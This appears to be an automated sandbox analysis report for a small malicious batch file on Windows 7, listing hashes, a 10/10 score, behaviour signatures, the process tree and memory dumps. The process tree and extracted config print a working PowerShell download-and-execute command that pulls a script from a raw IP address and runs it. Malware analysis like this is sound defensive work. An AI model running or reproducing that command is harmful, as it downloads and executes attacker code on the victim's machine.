Analysis

  • max time kernel
    15s
  • max time network
    46s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    28-09-2020 00:10

General

  • Target

    907a9dfa1ee12bc85669faaf78bbcea4.bat

  • Size

    214B

  • MD5

    e1fe18d046cfe61c5f33836a8a3f7787

  • SHA1

    ac46f9af46ba6f847df4627fbfbff3e4f7641305

  • SHA256

    17c07801ef59676f056659dea9953b977b2950d02f48bbc4160ea748a71426aa

  • SHA512

    1799090232c52da264281d4117b1f76262d752469de2ded0db8176acde4af6c31ba7fe37bfe0339075506884e11e564726d197e27bfeb9df1d7a27487500a9d2

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://185.103.242.78/pastes/907a9dfa1ee12bc85669faaf78bbcea4

Signatures

  • Blacklisted process makes network request 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\907a9dfa1ee12bc85669faaf78bbcea4.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1408
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/907a9dfa1ee12bc85669faaf78bbcea4');Invoke-YAJYLNB;Start-Sleep -s 10000"
      2⤵
      • Blacklisted process makes network request
      • Suspicious behavior: CmdExeWriteProcessMemorySpam
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1040

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • memory/1040-0-0x0000000000000000-mapping.dmp
  • memory/1040-1-0x00000000747D0000-0x0000000074EBE000-memory.dmp
    Filesize

    6.9MB

  • memory/1040-2-0x0000000000C90000-0x0000000000C91000-memory.dmp
    Filesize

    4KB

  • memory/1040-3-0x00000000048D0000-0x00000000048D1000-memory.dmp
    Filesize

    4KB

  • memory/1040-4-0x0000000002490000-0x0000000002491000-memory.dmp
    Filesize

    4KB

  • memory/1040-5-0x0000000004850000-0x0000000004851000-memory.dmp
    Filesize

    4KB

  • memory/1040-8-0x0000000005680000-0x0000000005681000-memory.dmp
    Filesize

    4KB

  • memory/1040-13-0x0000000005750000-0x0000000005751000-memory.dmp
    Filesize

    4KB

  • memory/1040-14-0x0000000006220000-0x0000000006221000-memory.dmp
    Filesize

    4KB

  • memory/1040-21-0x00000000061F0000-0x00000000061F1000-memory.dmp
    Filesize

    4KB

  • memory/1040-22-0x00000000062C0000-0x00000000062C1000-memory.dmp
    Filesize

    4KB